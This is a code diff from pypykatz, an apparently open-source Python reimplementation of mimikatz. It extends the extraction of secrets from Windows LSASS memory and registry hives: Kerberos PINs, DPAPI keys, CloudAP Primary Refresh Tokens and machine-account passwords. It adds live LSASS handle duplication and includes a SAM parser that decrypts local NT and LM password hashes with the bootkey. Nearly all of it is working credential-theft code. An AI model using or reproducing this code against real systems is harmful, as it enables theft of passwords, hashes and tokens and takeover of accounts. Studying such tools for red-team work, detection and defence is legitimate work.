304366 class PKIWI_KERBEROS_LOGON_SESSION_51(POINTER):
305367 def __init__(self, reader):
340402 self.Tickets_1 = LIST_ENTRY(reader)
341403 self.Tickets_2 = LIST_ENTRY(reader)
342404 self.Tickets_3 = LIST_ENTRY(reader)
343 self.SmartcardInfos = PVOID(reader).value
405 self.SmartcardInfos = PVOID(reader)
344406
345407
346408 class PKIWI_KERBEROS_LOGON_SESSION(POINTER):
386448 self.unk25 = FILETIME(reader).value
387449 self.Tickets_3 = LIST_ENTRY(reader)
388450 self.unk26 = FILETIME(reader).value
389 self.SmartcardInfos = PVOID(reader).value
451 self.SmartcardInfos = PVOID(reader)
390452
391453 class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL(POINTER):
392454 def __init__(self, reader):
457519 self.unk28 = FILETIME(reader).value
458520 self.Tickets_3 = LIST_ENTRY(reader)
459521 self.unk29 = FILETIME(reader).value
460 self.SmartcardInfos = PVOID(reader).value
522 self.SmartcardInfos = PVOID(reader)
461523
462524 class KIWI_KERBEROS_LOGON_SESSION_10:
463525 def __init__(self, reader):
501563 self.unk28 = FILETIME(reader).value
502564 self.Tickets_3 = LIST_ENTRY(reader)
503565 self.unk29 = FILETIME(reader).value
504 self.SmartcardInfos = PVOID(reader).value
566 self.SmartcardInfos = PVOID(reader)
505567
506568 class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO(POINTER):
507569 def __init__(self, reader):
580642 self.unk28 = FILETIME(reader).value
581643 self.Tickets_3 = LIST_ENTRY(reader)
582644 self.unk29 = FILETIME(reader).value
583 self.SmartcardInfos = PVOID(reader).value
645 self.SmartcardInfos = PVOID(reader)
584646
585647
586648 class KIWI_KERBEROS_LOGON_SESSION_10_1607_X86:
632694 self.unk28 = FILETIME(reader).value
633695 self.Tickets_3 = LIST_ENTRY(reader)
634696 self.unk29 = FILETIME(reader).value
635 self.SmartcardInfos = PVOID(reader).value
697 self.SmartcardInfos = PVOID(reader)
636698
637699 class PKIWI_KERBEROS_INTERNAL_TICKET_51(POINTER):
638700 def __init__(self, reader):
5454 c.domainname = suppCreds.credentials.Domaine.read_string(self.reader)
5555 if suppCreds.credentials.Password.Length != 0:
5656 enc_data = suppCreds.credentials.Password.read_maxdata(self.reader)
57 c.password = self.decrypt_password(enc_data)
57 if c.username.endswith('$') is True:
58 c.password = self.decrypt_password(enc_data, bytes_expected=True)
59 if c.password is not None:
60 c.password = c.password.hex()
61 else:
62 c.password = self.decrypt_password(enc_data)
5863
5964 self.credentials.append(c)
6065
44 #
55 import io
66 import json
7 import base64
78 from pypykatz.commons.common import WindowsMinBuild, KatzSystemArchitecture, GenericReader, UniversalEncoder, hexdump
89 from pypykatz.commons.filetime import filetime_to_dt
910 #from pypykatz.commons.win_datatypes import *
1819 self.NThash = None
1920 self.LMHash = None
2021 self.SHAHash = None
22 self.DPAPI = None
23 self.isoProt = None
2124
2225
2326 def to_dict(self):
2730 t['NThash'] = self.NThash
2831 t['LMHash'] = self.LMHash
2932 t['SHAHash'] = self.SHAHash
33 t['DPAPI'] = self.DPAPI
3034 return t
3135
3236 def to_json(self):
3943 t += '\t\tLM: %s\n' % (self.LMHash.hex() if self.LMHash else 'NA')
4044 t += '\t\tNT: %s\n' % (self.NThash.hex() if self.NThash else 'NA')
4145 t += '\t\tSHA1: %s\n' % (self.SHAHash.hex() if self.SHAHash else 'NA')
46 t += '\t\tDPAPI: %s\n' % (self.DPAPI.hex() if self.DPAPI else 'NA')
4247 return t
4348
4449 class CredmanCredential:
9196 self.kerberos_creds = []
9297 self.credman_creds = []
9398 self.tspkg_creds = []
99 self.cloudap_creds = []
94100
95101 @staticmethod
96102 def parse(entry, reader):
232238 ''
233239 ]
234240
235 for package in [self.wdigest_creds, self.ssp_creds, self.livessp_creds, self.kerberos_creds, self.credman_creds, self.tspkg_creds]:
241 for package in [self.wdigest_creds, self.ssp_creds, self.livessp_creds, self.credman_creds, self.tspkg_creds]:
236242 for cred in package:
237243 t = cred.to_dict()
238244 if t['password'] is not None:
239245 yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', str(t['password'])]
240246
247 for cred in self.kerberos_creds:
248 t = cred.to_dict()
249 if t['password'] is not None or t['pin'] is not None:
250 pin = ''
251 if t['pin'] is not None:
252 pin = '[PIN]%s' % t['pin']
253 yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', pin]
254 if t['password'] is not None:
255 yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', str(t['password'])]
256
241257 for cred in self.dpapi_creds:
242258 t = cred.to_dict()
243259 yield [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
260
261 for cred in self.cloudap_creds:
262 t = cred.to_dict()
263 #print(t)
264 yield [str(t['credtype']), '', '', '', '', '', str(t['dpapi_key']), str(t['dpapi_key_sha1']), str(t['key_guid']), base64.b64encode(str(t['PRT']).encode()).decode()]
265
244266
245267
246268
308330
309331 if credman_credential_entry.cbEncPassword and credman_credential_entry.cbEncPassword != 0:
310332 enc_data = credman_credential_entry.encPassword.read_raw(self.reader, credman_credential_entry.cbEncPassword)
311 c.password = self.decrypt_password(enc_data)
333 if c.username.endswith('$') is True:
334 c.password = self.decrypt_password(enc_data, bytes_expected=True)
335 if c.password is not None:
336 c.password = c.password.hex()
337 else:
338 c.password = self.decrypt_password(enc_data)
312339
313340 c.luid = self.current_logonsession.luid
314341
346373 cred.domainname = creds_struct.LogonDomainName.read_string(struct_reader)
347374 except Exception as e:
348375 self.log('Failed to get domainname, reason : %s' % str(e))
349
376
377
378 if hasattr(creds_struct, 'DPAPIProtected') and creds_struct.DPAPIProtected != b'\x00'*16:
379 cred.DPAPI = creds_struct.DPAPIProtected
380
381 if hasattr(creds_struct, 'isIso'):
382 cred.isoProt = bool(creds_struct.isIso[0])
383 #
384 # if cred.isoProt is True:
385 # cred.NThash = None
386 # cred.LMHash = None
387 # cred.SHAHash = None
388 #
389 #else:
390 # cred.NThash = creds_struct.NtOwfPassword
391 #
392 # if creds_struct.LmOwfPassword and creds_struct.LmOwfPassword != b'\x00'*16:
393 # cred.LMHash = creds_struct.LmOwfPassword
394 # cred.SHAHash = creds_struct.ShaOwPassword
395
350396 cred.NThash = creds_struct.NtOwfPassword
351
397
352398 if creds_struct.LmOwfPassword and creds_struct.LmOwfPassword != b'\x00'*16:
353399 cred.LMHash = creds_struct.LmOwfPassword
354 cred.SHAHash = creds_struct.ShaOwPassword
400 cred.SHAHash = creds_struct.ShaOwPassword
355401
356402 self.current_logonsession.msv_creds.append(cred)
357403
372418 continue
373419
374420 self.walk_list(entry_ptr, self.add_entry)
421
422 #self.brute_test()
423
424 #def brute_test(self):
425 # from pypykatz.commons.win_datatypes import LUID
426 # luid_int = 1138792
427 # luid_bytes = luid_int.to_bytes(8, byteorder='little', signed=False)
428 # needle_luid = LUID(io.BytesIO(luid_bytes)).value
429 # offset = 0x70
430 #
431 # for luid_pos in self.reader.find_all_global(luid_bytes):
432 # self.reader.move(luid_pos - offset)
433 # et = self.decryptor_template.list_entry(self.reader).finaltype
434 # self.reader.move(luid_pos - offset)
435 # test_ptr = et(self.reader)
436 # if test_ptr.LocallyUniqueIdentifier == needle_luid:
437 # print('HIT!')
438 # entry_ptr = self.decryptor_template.list_entry(self.reader)
439 # try:
440 # self.walk_list(test_ptr.Flink, self.add_entry)
441 # except Exception as e:
442 # print('ERR! %s' % e)
4949 def add_entry(self, ssp_entry):
5050 c = SspCredential()
5151 c.luid = ssp_entry.LogonId
52 c.username = ssp_entry.credentials.UserName.read_string(self.reader)
53 c.domainname = ssp_entry.credentials.Domaine.read_string(self.reader)
52 c.username = ssp_entry.credentials.Domaine.read_string(self.reader)
53 c.domainname = ssp_entry.credentials.UserName.read_string(self.reader)
5454 if ssp_entry.credentials.Password.Length != 0:
55 c.password = self.decrypt_password(ssp_entry.credentials.Password.read_maxdata(self.reader))
56
55 if c.username.endswith('$') is True or c.domainname.endswith('$') is True:
56 c.password = self.decrypt_password(ssp_entry.credentials.Password.read_data(self.reader), bytes_expected=True)
57 if c.password is not None:
58 c.password = c.password.hex()
59 else:
60 c.password = self.decrypt_password(ssp_entry.credentials.Password.read_data(self.reader))
61
62 if c.username == '' and c.domainname == '' and c.password is None:
63 return
64
5765 self.credentials.append(c)
5866
5967 def start(self):
8080
8181 if primary_credential.credentials.Password.Length != 0:
8282 enc_data = primary_credential.credentials.Password.read_maxdata(self.reader)
83 c.password = self.decrypt_password(enc_data)
83 if c.username.endswith('$') is True:
84 c.password = self.decrypt_password(enc_data, bytes_expected=True)
85 if c.password is not None:
86 c.password = c.password.hex()
87 else:
88 c.password = self.decrypt_password(enc_data)
8489
8590 self.credentials.append(c)
6363 wc.username = UserName.read_string(self.reader)
6464 wc.domainname = DomainName.read_string(self.reader)
6565 wc.encrypted_password = Password.read_maxdata(self.reader)
66 wc.password = self.decrypt_password(wc.encrypted_password)
66 if wc.username.endswith('$') is True:
67 wc.password = self.decrypt_password(wc.encrypted_password, bytes_expected=True)
68 if wc.password is not None:
69 wc.password = wc.password.hex()
70 else:
71 wc.password = self.decrypt_password(wc.encrypted_password)
6772
73 if wc.username == '' and wc.domainname == '' and wc.password is None:
74 return
6875
6976 self.credentials.append(wc)
7077
55
66 import platform
77 import json
8 import traceback
9 import base64
810
911 from pypykatz.commons.common import KatzSystemInfo
1012 from pypykatz.lsadecryptor import CredmanTemplate, MsvTemplate, \
1113 MsvDecryptor, WdigestTemplate, LsaTemplate, WdigestDecryptor, \
1214 LiveSspTemplate, LiveSspDecryptor, SspDecryptor, SspTemplate, \
1315 TspkgDecryptor, TspkgTemplate, KerberosTemplate, KerberosDecryptor, \
14 DpapiTemplate, DpapiDecryptor, LsaDecryptor
15
16 DpapiTemplate, DpapiDecryptor, LsaDecryptor,CloudapTemplate,\
17 CloudapDecryptor
18
19 from pypykatz.lsadecryptor.packages.msv.decryptor import LogonSession
1620 from pypykatz import logger
1721 from pypykatz.commons.common import UniversalEncoder
1822 from minidump.minidumpfile import MinidumpFile
3135
3236 self.logon_sessions = {}
3337 self.orphaned_creds = []
38 self.errors = []
3439 self.kerberos_ccache = CCACHE()
3540
3641 def to_dict(self):
4247 t['orphaned_creds'] = []
4348 for oc in self.orphaned_creds:
4449 t['orphaned_creds'].append(oc.to_dict())
50
51 t['errors'] = []
52 for pkg, err in self.errors:
53 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
54 err_str = base64.b64encode(err_str.encode()).decode()
55 t['errors'].append((pkg,err_str))
56
4557 return t
4658
4759 def to_json(self):
48 return json.dumps(self.to_dict(), cls = UniversalEncoder)
49
50 @staticmethod
51 def go_live():
60 return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)
61
62 def to_grep(self):
63 res = ':'.join(LogonSession.grep_header) + '\r\n'
64 for luid in self.logon_sessions:
65 for row in self.logon_sessions[luid].to_grep_rows():
66 res += ':'.join(row) + '\r\n'
67 for cred in self.orphaned_creds:
68 t = cred.to_dict()
69 if t['credtype'] != 'dpapi':
70 if t['password'] is not None:
71 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
72 res += ':'.join(x) + '\r\n'
73 else:
74 t = cred.to_dict()
75 x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
76 res += ':'.join(x) + '\r\n'
77 for pkg, err in self.errors:
78 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
79 err_str = base64.b64encode(err_str.encode()).decode()
80 x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', err_str]
81 res += ':'.join(x) + '\r\n'
82
83
84 return res
85
86 def __str__(self):
87 res = '== Logon credentials ==\r\n'
88 for luid in self.logon_sessions:
89 res += str(self.logon_sessions[luid]) + '\r\n'
90
91 if len(self.orphaned_creds) > 0:
92 res += '== Orphaned credentials ==\r\n'
93 for cred in self.orphaned_creds:
94 res += str(cred) + '\r\n'
95
96 return res
97
98 @staticmethod
99 def go_live(packages = ['all']):
52100 if platform.system() != 'Windows':
53101 raise Exception('Live parsing will only work on Windows')
54102 from pypykatz.commons.readers.local.live_reader import LiveReader
55103 reader = LiveReader()
56104 sysinfo = KatzSystemInfo.from_live_reader(reader)
57105 mimi = pypykatz(reader.get_buffered_reader(), sysinfo)
58 mimi.start()
59 return mimi
60
61 @staticmethod
62 def parse_minidump_file(filename):
106 mimi.start(packages)
107 return mimi
108
109 @staticmethod
110 def go_handledup(packages = ['all']):
111 if platform.system() != 'Windows':
112 raise Exception('Live parsing will only work on Windows')
113 from pypykatz.commons.winapi.local.function_defs.live_reader_ctypes import enum_lsass_handles
114 lsass_handles = enum_lsass_handles()
115 if len(lsass_handles) == 0:
116 raise Exception('No handles found to LSASS!')
117 for pid, lsass_handle in lsass_handles:
118 try:
119 return pypykatz.go_live_phandle(lsass_handle, packages = ['all'])
120 except Exception as e:
121 print('[-] Failed to parse lsass via handle %s[@%s] Reason: %s' % (pid, lsass_handle, e))
122
123 @staticmethod
124 def go_live_phandle(lsass_process_handle, packages = ['all']):
125 if platform.system() != 'Windows':
126 raise Exception('Live parsing will only work on Windows')
127 from pypykatz.commons.readers.local.live_reader import LiveReader
128 reader = LiveReader(lsass_process_handle=lsass_process_handle)
129 sysinfo = KatzSystemInfo.from_live_reader(reader)
130 mimi = pypykatz(reader.get_buffered_reader(), sysinfo)
131 mimi.start(packages)
132 return mimi
133
134 @staticmethod
135 def parse_minidump_file(filename, packages = ['all'], chunksize = 10*1024):
63136 try:
64137 minidump = MinidumpFile.parse(filename)
65 reader = minidump.get_reader().get_buffered_reader()
138 reader = minidump.get_reader().get_buffered_reader(segment_chunk_size=chunksize)
66139 sysinfo = KatzSystemInfo.from_minidump(minidump)
67140 except Exception as e:
68141 logger.exception('Minidump parsing error!')
69142 raise e
70143 try:
71144 mimi = pypykatz(reader, sysinfo)
72 mimi.start()
145 mimi.start(packages)
73146 except Exception as e:
74147 #logger.info('Credentials parsing error!')
75148 mimi.log_basic_info()
77150 return mimi
78151
79152 @staticmethod
80 def parse_minidump_bytes(data):
153 def parse_minidump_bytes(data, packages = ['all']):
81154 """
82155 Parses LSASS minidump file bytes.
83156 data needs to be bytearray
86159 reader = minidump.get_reader().get_buffered_reader()
87160 sysinfo = KatzSystemInfo.from_minidump(minidump)
88161 mimi = pypykatz(reader, sysinfo)
89 mimi.start()
90 return mimi
91
92 @staticmethod
93 def parse_minidump_external(handle):
162 mimi.start(packages)
163 return mimi
164
165 @staticmethod
166 def parse_minidump_external(handle, packages = ['all'], chunksize = 10*1024):
94167 """
95168 Parses LSASS minidump file based on the file object.
96169 File object can really be any object as longs as
100173 handle: file like object
101174 """
102175 minidump = MinidumpFile.parse_external(handle)
103 reader = minidump.get_reader().get_buffered_reader()
176 reader = minidump.get_reader().get_buffered_reader(segment_chunk_size = chunksize)
104177 sysinfo = KatzSystemInfo.from_minidump(minidump)
105178 mimi = pypykatz(reader, sysinfo)
106 mimi.start()
107 return mimi
108
109 @staticmethod
110 def parse_minidump_buffer(buff):
179 mimi.start(packages)
180 return mimi
181
182 @staticmethod
183 def parse_minidump_buffer(buff, packages = ['all']):
111184 """
112185 Parses LSASS minidump file which contents are in a bytes buffer
113186 buff: io.BytesIO object
116189 reader = minidump.get_reader().get_buffered_reader()
117190 sysinfo = KatzSystemInfo.from_minidump(minidump)
118191 mimi = pypykatz(reader, sysinfo)
119 mimi.start()
120 return mimi
121
122 @staticmethod
123 def parse_memory_dump_rekall(filename, override_timestamp = None):
192 mimi.start(packages)
193 return mimi
194
195 @staticmethod
196 def parse_memory_dump_rekall(filename, override_timestamp = None, packages = ['all']):
124197 from pypykatz.commons.readers.rekall.rekallreader import RekallReader
125198 reader = RekallReader.from_memory_file(filename, override_timestamp)
126199 sysinfo = KatzSystemInfo.from_rekallreader(reader)
127200 mimi = pypykatz(reader, sysinfo)
128 mimi.start()
129 return mimi
130
131 @staticmethod
132 def go_rekall(session, override_timestamp = None, buildnumber = None):
201 mimi.start(packages)
202 return mimi
203
204 @staticmethod
205 def go_rekall(session, override_timestamp = None, buildnumber = None, packages = ['all']):
133206 from pypykatz.commons.readers.rekall.rekallreader import RekallReader
134207 reader = RekallReader.from_session(session, override_timestamp, buildnumber)
135208 sysinfo = KatzSystemInfo.from_rekallreader(reader)
136209 mimi = pypykatz(reader, sysinfo)
137 mimi.start()
138 return mimi
139
140 @staticmethod
141 def go_volatility3(vol3_obj):
210 mimi.start(packages)
211 return mimi
212
213 @staticmethod
214 def go_volatility3(vol3_obj, packages = ['all']):
142215 from pypykatz.commons.readers.volatility3.volreader import Vol3Reader, vol3_treegrid
143216 reader = Vol3Reader(vol3_obj)
144217 sysinfo = reader.get_sysinfo()
145218 mimi = pypykatz(reader, sysinfo)
146 mimi.start()
219 mimi.start(packages)
147220 return vol3_treegrid(mimi)
148221
149222
169242
170243 def get_lsa_bruteforce(self):
171244 #good luck!
172 logger.info('Testing all available templates! Expect warnings!')
245 logger.debug('Testing all available templates! Expect warnings!')
173246 for lsa_dec_template in LsaTemplate.get_template_brute(self.sysinfo):
174247 try:
175248 lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo)
177250 except:
178251 pass
179252 else:
180 logger.info('Lucky you! Brutefoce method found a -probably- working template!')
253 logger.debug('Lucky you! Brutefoce method found a -probably- working template!')
181254 return lsa_dec
182255
183256 def get_lsa(self):
186259 lsa_dec_template = LsaTemplate.get_template(self.sysinfo)
187260 lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo)
188261 logger.debug(lsa_dec.dump())
189 except:
190 logger.exception('Failed to automatically detect correct LSA template!')
262 except Exception as e:
263 logger.debug('Failed to automatically detect correct LSA template! Reason: %s' % str(e))
191264 lsa_dec = self.get_lsa_bruteforce()
192265 if lsa_dec is None:
193266 raise Exception('All detection methods failed.')
245318 else:
246319 self.orphaned_creds.append(cred)
247320
248 def get_kerberos(self):
321 def get_kerberos(self, with_tickets = True):
249322 dec_template = KerberosTemplate.get_template(self.sysinfo)
250 dec = KerberosDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo)
251 dec.start()
323 dec = KerberosDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo, with_tickets = with_tickets)
324 dec.start()
252325 for cred in dec.credentials:
253326 for ticket in cred.tickets:
254327 for fn in ticket.kirbi_data:
259332 else:
260333 self.orphaned_creds.append(cred)
261334
262 def start(self):
263 #self.log_basic_info()
264 #input()
335 def get_cloudap(self):
336 cloudap_dec_template = CloudapTemplate.get_template(self.sysinfo)
337 if cloudap_dec_template is None:
338 return
339 cloudap_dec = CloudapDecryptor(self.reader, cloudap_dec_template, self.lsa_decryptor, self.sysinfo)
340 cloudap_dec.start()
341 for cred in cloudap_dec.credentials:
342 if cred.luid in self.logon_sessions:
343 self.logon_sessions[cred.luid].cloudap_creds.append(cred)
344 else:
345 self.orphaned_creds.append(cred)
346
347 def start(self, packages = ['all']):
348
265349 self.lsa_decryptor = self.get_lsa()
266 self.get_logoncreds()
267 self.get_wdigest()
268 self.get_kerberos()
269 self.get_tspkg()
270 self.get_ssp()
271 self.get_livessp()
272 self.get_dpapi()
350
351 if 'msv' in packages or 'all' in packages:
352 try:
353 self.get_logoncreds()
354 except Exception as e:
355 self.errors.append(('msv', e))
356
357 if 'wdigest' in packages or 'all' in packages:
358 try:
359 self.get_wdigest()
360 except Exception as e:
361 self.errors.append(('wdigest', e))
362
363 if 'kerberos' in packages or 'ktickets' in packages or 'all' in packages:
364 try:
365 with_tickets = False
366 if 'ktickets' in packages or 'all' in packages:
367 with_tickets = True
368
369 self.get_kerberos(with_tickets)
370 except Exception as e:
371 self.errors.append(('kerberos', e))
372
373
374 if 'tspkg' in packages or 'all' in packages:
375 try:
376 self.get_tspkg()
377 except Exception as e:
378 self.errors.append(('tspkg', e))
379
380 if 'ssp' in packages or 'all' in packages:
381 try:
382 self.get_ssp()
383 except Exception as e:
384 self.errors.append(('ssp', e))
385
386 if 'livessp' in packages or 'all' in packages:
387 try:
388 self.get_livessp()
389 except Exception as e:
390 self.errors.append(('livessp', e))
391
392 if 'dpapi' in packages or 'all' in packages:
393 try:
394 self.get_dpapi()
395 except Exception as e:
396 self.errors.append(('dpapi', e))
397
398 if 'cloudap' in packages or 'all' in packages:
399 try:
400 self.get_cloudap()
401 except Exception as e:
402 self.errors.append(('cloudap', e))
403
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import json
7 from aiowinreg.ahive import AIOWinRegHive
8
9 from pypykatz.registry import logger
10 from pypykatz.commons.common import UniversalEncoder
11 from pypykatz.registry.sam.asam import *
12 from pypykatz.registry.security.asecurity import *
13 from pypykatz.registry.system.asystem import *
14 from pypykatz.registry.software.asoftware import *
15
16
17 class OffineRegistry:
18 """
19 This class represents an offline registry
20 You will need to set at least the SYSTEM hive (to get bootkey)
21 In case you have the SAM and/or SECURITY hives, it will parse them for the stored credentials/secrets as well.
22 """
23 def __init__(self):
24 self.sam_hive = None
25 self.security_hive = None
26 self.system_hive = None
27 self.software_hive = None
28
29 self.system = None
30 self.sam = None
31 self.security = None
32 self.software = None
33
34 async def get_secrets(self):
35 self.system = SYSTEM(self.system_hive)
36 bootkey = await self.system.get_bootkey()
37
38 if self.sam_hive:
39 self.sam = SAM(self.sam_hive, bootkey)
40 await self.sam.get_secrets()
41
42 if self.security_hive:
43 self.security = SECURITY(self.security_hive, bootkey)
44 await self.security.get_secrets()
45
46 if self.software_hive:
47 self.software = SOFTWARE(self.software_hive, bootkey)
48 await self.software.get_default_logon()
49
50 def to_file(self, file_path, json_format = False):
51 with open(file_path, 'w', newline = '') as f:
52 if json_format == False:
53 f.write(str(self))
54 else:
55 f.write(self.to_json())
56
57 def to_json(self):
58 return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)
59
60 def to_dict(self):
61 t = {}
62 t['SYSTEM'] = self.system.to_dict()
63 if self.sam:
64 t['SAM'] = self.sam.to_dict()
65 if self.security:
66 t['SECURITY'] = self.security.to_dict()
67 if self.software:
68 t['SOFTWARE'] = self.software.to_dict()
69 return t
70
71
72 def __str__(self):
73 t = str(self.system)
74 if self.sam:
75 t += str(self.sam)
76 if self.security:
77 t += str(self.security)
78 if self.software:
79 t += str(self.software)
80 return t
81
82 @staticmethod
83 async def from_async_reader(system_reader, sam_reader = None, security_reader = None, software_reader = None):
84 po = OffineRegistry()
85 po.system_hive = AIOWinRegHive(system_reader)
86 await po.system_hive.setup()
87
88 if sam_reader is not None:
89 po.sam_hive = AIOWinRegHive(sam_reader)
90 await po.sam_hive.setup()
91
92 if security_reader is not None:
93 po.security_hive = AIOWinRegHive(security_reader)
94 await po.security_hive.setup()
95
96 if software_reader is not None:
97 po.software_hive = AIOWinRegHive(software_reader)
98 await po.software_hive.setup()
99
100 await po.get_secrets()
101
102 return po
103
104
105
106 if __name__ == '__main__':
107 po = OffineRegistry.from_live_system()
108 print(str(po))
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import hashlib
6 import hmac
7 import io
8 from pypykatz.registry.sam.structures import *
9 from pypykatz.crypto.RC4 import RC4
10 from pypykatz.crypto.aes import AESModeOfOperationCBC
11 from pypykatz.crypto.des import des, expand_DES_key
12
13 #####
14 from pypykatz.registry.sam.structures import *
15 from pypykatz.registry.sam.common import *
16 from pypykatz.registry import logger
17 from pypykatz.commons.win_datatypes import SID
18
19 #
20 # The SAM hive holds the hashed passwords of the LOCAL machine users
21 # There are alwas some local users present on your machine, regardless if it's domain-enrolled
22 #
23 # Depending on the Windows version, the strucutres and the way to decrypt the hashes differs.
24 # The class needs to have the bootkey (see SYSTEM hive) to be able to decrypt the hashes
25 #
26
27 class SAM:
28 def __init__(self, sam_hive, bootkey):
29 self.hive = sam_hive
30 self.bootkey = bootkey
31 self.hashed_bootkey = None
32 self.machine_sid = None
33 self.secrets = []
34
35 @staticmethod
36 def rid_to_key(rid):
37 key = int(rid, 16).to_bytes(4, 'little', signed = False)
38 key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]]
39 key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]]
40 return expand_DES_key(bytes(key1)),expand_DES_key(bytes(key2))
41
42 def decrypt_hash(self, rid, hashobj, constant):
43 key1, key2 = SAM.rid_to_key(rid)
44 des1 = des(key1)
45 des2 = des(key2)
46
47 if isinstance(hashobj, SAM_HASH):
48 rc4key = hashlib.md5( self.hashed_bootkey[:0x10] + int(rid, 16).to_bytes(4, 'little', signed = False) + constant ).digest()
49 key = RC4(rc4key).encrypt(hashobj.hash)
50
51 else:
52 key = b''
53 cipher = AESModeOfOperationCBC(self.hashed_bootkey[:0x10], iv = hashobj.salt)
54 n = 16
55 for block in [hashobj.data[i:i+n] for i in range(0, len(hashobj.data), n)]: #terrible, terrible workaround
56 key += cipher.decrypt(block)
57
58 key = key[:16]
59
60 dec_hash = des1.decrypt(key[:8]) + des2.decrypt(key[8:])
61 return dec_hash
62
63 async def get_HBoot_key(self):
64 logger.debug('SAM parsing hashed bootkey')
65 QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
66 DIGITS = b"0123456789012345678901234567890123456789\0"
67
68 F = await self.hive.get_value(r'SAM\Domains\Account\F')
69 F = F[1]
70 logger.log(1,'[SAM] F key value: %s' % F)
71
72 domain_properties = DOMAIN_ACCOUNT_F.from_bytes(F)
73
74 if isinstance(domain_properties.key_0, SAM_KEY_DATA):
75 rc4_key = hashlib.md5(domain_properties.key_0.salt + QWERTY + self.bootkey +DIGITS).digest()
76 self.hashed_bootkey = RC4(rc4_key).encrypt(domain_properties.key_0.key + domain_properties.key_0.checksum)
77
78 checksum = hashlib.md5(self.hashed_bootkey[:16] + DIGITS + self.hashed_bootkey[:16] + QWERTY).digest()
79
80 if checksum != self.hashed_bootkey[16:]:
81 logger.error('[SAM] HBootkey checksum verification failed!')
82 raise Exception('[SAM] HBootkey checksum verification failed!')
83
84 elif isinstance(domain_properties.key_0, SAM_KEY_DATA_AES):
85 self.hashed_bootkey = b''
86 cipher = AESModeOfOperationCBC(self.bootkey, iv = domain_properties.key_0.salt)
87 n = 16
88 for block in [domain_properties.key_0.data[i:i+n] for i in range(0, len(domain_properties.key_0.data), n)]: #terrible, terrible workaround
89 self.hashed_bootkey += cipher.decrypt(block)
90
91 logger.debug('[SAM] HBootkey: %s' % self.hashed_bootkey.hex())
92 return self.hashed_bootkey
93
94 async def get_machine_sid(self):
95 # https://social.technet.microsoft.com/Forums/en-US/de8ff30b-6986-4aad-bcde-12bb5e66fe86/the-computer-sid-with-windows-7?forum=winserverDS
96 # TODO: implement this
97 try:
98 uac_data = await self.hive.get_value('SAM\\Domains\\Account\\V')
99 uac_data = uac_data[1]
100 uac_data = uac_data[-12:]
101 p1 = int.from_bytes( uac_data[:4], 'little', signed = False)
102 p2 = int.from_bytes( uac_data[4:8], 'little', signed = False)
103 p3 = int.from_bytes(uac_data[8:12], 'little', signed = False)
104 self.machine_sid = '%s-%s-%s-%s' % ('S-1-5-21', p1, p2, p3)
105 except Exception as e:
106 import traceback
107 traceback.print_exc()
108 return self.machine_sid
109
110 async def get_secrets(self):
111 logger.debug('SAM get_secrets invoked')
112 NTPASSWORD = b"NTPASSWORD\0"
113 LMPASSWORD = b"LMPASSWORD\0"
114
115 NTDEFAULT = '31d6cfe0d16ae931b73c59d7e0c089c0'
116 LMDEFAULT = 'aad3b435b51404eeaad3b435b51404ee'
117
118 await self.get_HBoot_key()
119 await self.get_machine_sid()
120
121 names = await self.hive.enum_key('SAM\\Domains\\Account\\Users')
122 for rid in names:
123 uac = None
124 if rid == 'Names':
125 continue
126
127 key_path = 'SAM\\Domains\\Account\\Users\\%s\\V' % rid
128 logger.debug('[SAM] Parsing secrets for RID: %s' % rid)
129 uac_data = await self.hive.get_value(key_path)
130 uac_data = uac_data[1]
131 uac = USER_ACCOUNT_V.from_bytes(uac_data)
132
133 nthash = bytes.fromhex(NTDEFAULT)
134 lmhash = bytes.fromhex(LMDEFAULT)
135 if uac.NT_hash and isinstance(uac.NT_hash, SAM_HASH_AES):
136 if uac.NT_hash.data != b'':
137 nthash = self.decrypt_hash(rid, uac.NT_hash, NTPASSWORD)
138 elif uac.NT_hash and isinstance(uac.NT_hash, SAM_HASH):
139 if uac.NT_hash.hash != b'':
140 nthash = self.decrypt_hash(rid, uac.NT_hash, NTPASSWORD)
141
142 if uac.LM_hash and isinstance(uac.LM_hash, SAM_HASH_AES):
143 if uac.LM_hash.data != b'':
144 lmhash = self.decrypt_hash(rid, uac.LM_hash, LMPASSWORD)
145
146 elif uac.LM_hash and isinstance(uac.LM_hash, SAM_HASH):
147 if uac.LM_hash.hash != b'':
148 lmhash = self.decrypt_hash(rid, uac.LM_hash, LMPASSWORD)
149
150 secret = SAMSecret(uac.name, int(rid,16), nthash, lmhash)
151 self.secrets.append(secret)
152
153 return self.secrets
154
155 def to_dict(self):
156 t = {}
157 t['HBoot_key'] = self.hashed_bootkey
158 t['local_users'] = []
159 for secret in self.secrets:
160 t['local_users'].append( secret.to_dict())
161 return t
162
163 def __str__(self):
164 t = '============== SAM hive secrets ==============\r\n'
165 t += 'HBoot Key: %s\r\n' % self.hashed_bootkey.hex()
166 for secret in self.secrets:
167 t += '%s\r\n' % secret.to_lopth()
168 return t
169
170
22 # Author:
33 # Tamas Jos (@skelsec)
